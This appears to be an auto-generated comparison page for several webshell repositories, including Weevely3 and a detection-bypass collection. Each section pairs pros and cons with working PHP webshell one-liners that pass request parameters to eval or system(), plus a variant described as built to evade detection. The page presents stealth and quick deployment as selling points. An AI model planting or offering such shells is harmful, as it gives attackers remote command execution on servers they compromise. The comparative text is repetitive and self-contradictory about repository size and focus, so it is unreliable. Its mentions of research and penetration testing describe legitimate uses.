Pros of WebShell

• More organized structure with categorized directories
• Includes additional tools and utilities beyond basic webshells
• Actively maintained with recent updates

Cons of WebShell

• Larger repository size, potentially slower to clone and navigate
• May include more complex or advanced shells, increasing learning curve
• Some shells may be detected more easily by antivirus software due to popularity

Code Comparison

webshell:

<?php @eval($_POST['pass']);?>

WebShell:

<?php
    $cmd = $_POST['cmd'];
    system($cmd);
?>

Both repositories contain various webshells in different programming languages. The example above shows a simple PHP webshell from each repository. webshell uses a more concise one-liner that evaluates POST data, while WebShell demonstrates a slightly more verbose approach using the system() function.

WebShell tends to include more feature-rich and complex shells, whereas webshell often focuses on simpler, more straightforward implementations. This difference in approach affects factors such as ease of use, detectability, and functionality.

Overall, both repositories serve as collections of webshells and related tools, with WebShell offering a broader range of utilities and webshell providing a more focused set of basic shells.

Pros of webshell-detect-bypass

• Focuses specifically on bypassing detection mechanisms
• Includes techniques for evading common security tools
• More actively maintained with recent updates

Cons of webshell-detect-bypass

• Smaller collection of webshells compared to webshell
• Less diverse in terms of programming languages supported
• More specialized, potentially less useful for general webshell research

Code Comparison

webshell-detect-bypass:

<?php
$a = $_POST['a'];
$b = $_POST['b'];
@eval("$a($b);");
?>

webshell:

<?php @eval($_POST['pass']);?>

The webshell-detect-bypass example uses multiple variables and a more complex structure to evade detection, while the webshell example is more straightforward but potentially easier to detect.

webshell-detect-bypass is tailored for bypassing security measures, making it useful for penetration testing and security research. However, its specialized nature may limit its broader applicability compared to webshell, which offers a more extensive collection of webshells in various languages.

webshell provides a comprehensive repository of webshells, making it valuable for studying different implementation techniques across languages. Its larger collection offers more diversity but may include outdated or easily detectable samples.

Both repositories serve different purposes within the webshell ecosystem, with webshell-detect-bypass focusing on evasion techniques and webshell offering a broader range of examples for research and analysis.

Pros of php-webshells

• More focused on PHP-specific webshells, providing specialized tools for PHP environments
• Includes a variety of PHP-based webshells with different features and capabilities
• Smaller repository size, making it easier to download and manage

Cons of php-webshells

• Limited to PHP webshells only, lacking diversity in supported languages
• Less frequently updated compared to webshell, potentially missing newer techniques or vulnerabilities
• Smaller community and fewer contributors, which may result in slower development and bug fixes

Code Comparison

webshell example (PHP):

<?php @eval($_POST['pass']);?>

php-webshells example (PHP):

<?php
if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}
?>

Both repositories contain simple PHP webshells, but php-webshells tends to include more feature-rich and complex implementations. The webshell example shows a basic one-liner for executing PHP code, while the php-webshells example provides a more structured approach with command execution and output formatting.

Pros of Weevely3

• More actively maintained with recent updates
• Offers a wider range of features, including file management and network reconnaissance
• Provides a stealthier approach with obfuscated PHP code

Cons of Weevely3

• Steeper learning curve due to more complex functionality
• Requires Python environment for operation, potentially limiting deployment options

Code Comparison

Weevely3 (obfuscated PHP payload):

<?php
$k="e45e329feb5d925b"; 
$kh="e45e329feb5d925b";
$kf="e45e329feb5d925b";
$p="HSXILtA5VuqNPWRj";

Webshell (typical PHP shell):

<?php
if(isset($_REQUEST['cmd'])){
    system($_REQUEST['cmd']);
}
?>

Weevely3 focuses on obfuscation and stealth, while Webshell offers simpler, more straightforward code. Weevely3's approach makes detection more difficult but increases complexity. Webshell's simplicity allows for easier customization but may be more easily detected by security measures.

Both repositories serve as collections of web shells, but Weevely3 offers a more comprehensive toolkit with additional features beyond basic command execution. Webshell provides a wider variety of simple, ready-to-use scripts in multiple languages, making it more accessible for quick deployment in various environments.